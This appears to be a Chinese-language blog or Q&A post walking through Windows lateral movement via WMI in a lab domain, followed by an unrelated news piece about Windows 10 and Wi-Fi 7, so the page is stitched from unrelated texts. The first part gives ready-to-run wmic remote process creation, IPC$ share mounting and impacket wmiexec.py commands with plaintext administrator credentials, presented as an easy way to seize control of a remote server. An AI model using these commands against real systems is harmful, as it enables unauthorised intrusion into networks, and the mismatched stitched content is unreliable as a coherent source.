自從PsExec被殺毒軟件監(jiān)控之后，黑客們又開始轉(zhuǎn)移到WMI上，通過滲透測試發(fā)現(xiàn)，使用wmiexec進(jìn)行橫向移動(dòng)時(shí)，windows操作系統(tǒng)竟然無動(dòng)于衷，沒有做任何日志記錄。于是，越來越多的APT高級(jí)持續(xù)性威脅，開始了對WMI進(jìn)行攻擊研究～

ailx10 網(wǎng)絡(luò)安全優(yōu)秀回答者

1、使用WMI遠(yuǎn)程命令執(zhí)行

• win7域用戶--> windows server 2012域用戶（成功）

wmic /node:192.168.160.143 /user:HACKBIJI\Administrator /password:W2ngluoanquan process call create "cmd.exe /c ipconfig >c:\ip.txt"

• 去windows server 2012域用戶的C盤下，可以發(fā)現(xiàn)生成的 ip.txt 文件

• 建立IPC$ (win7域用戶--> windows server 2012域用戶)

net use \192.168.160.143\ipc$ "W2ngluoanquan" /user:HACKBIJI\Administrator

• 獲取ip.txt文件信息 （windows server 2012域用戶）

type \192.168.160.143\c$\ip.txt

2、impacket工具包中的wmiexec

• impacket的github官方地址
• kali --> windows server 2012 （成功）
• 獲取遠(yuǎn)程windows系統(tǒng)的控制權(quán)
• 不需要輸入域信息
• 進(jìn)入impacket目錄，先執(zhí)行pip install . 安裝依賴
• 然后就可以輕松拿到遠(yuǎn)程windows server 2012系統(tǒng)的控制權(quán)了

python wmiexec.py Administrator:W2ngluoanquan@192.168.160.143

本篇完～

【太平洋科技資訊】之前傳言稱，微軟的Windows 10不支持Wi-Fi 7技術(shù)，這引起了一些用戶的擔(dān)憂。然而，最新的消息表明，英特爾已經(jīng)確認(rèn)Windows 10將支持Wi-Fi 7技術(shù)。雖然英特爾沒有發(fā)表明確的官方聲明，但在其網(wǎng)站上列出了兩款支持Wi-Fi 7的模塊規(guī)格，這意味著Windows 10用戶將能夠享受到Wi-Fi 7帶來的更快的速度和更高的性能。

Wi-Fi 7將帶來比Wi-Fi 6E更快的速度，最高可達(dá)2.4倍，比Wi-Fi 6約為4.8倍。Wi-Fi 7的最大理論數(shù)據(jù)傳輸速率約為46.1 Gbps，是Wi-Fi 6的兩倍。它還提供更高的帶寬和更低的延遲，可以實(shí)現(xiàn)更高的吞吐量。這將為用戶提供更流暢的網(wǎng)絡(luò)體驗(yàn)，特別是在高負(fù)載和多設(shè)備連接的情況下。

對于Windows 10用戶來說，這是一個(gè)令人振奮的消息。雖然Windows 11是微軟的最新操作系統(tǒng)，但許多用戶仍在使用Windows 10，并且希望能夠享受到最新的網(wǎng)絡(luò)技術(shù)帶來的好處。現(xiàn)在，他們可以放心地知道，他們的操作系統(tǒng)將支持Wi-Fi 7技術(shù)，他們將能夠體驗(yàn)到更快的速度和更好的性能。

Wi-Fi 7的支持對于Windows 10用戶來說是一個(gè)積極的消息。這將為他們帶來更快的速度和更高的性能，提升他們的網(wǎng)絡(luò)體驗(yàn)。無論是在家庭使用還是在工作場所，Wi-Fi 7都將成為未來的主流技術(shù)，為用戶提供更好的連接和更高的效率。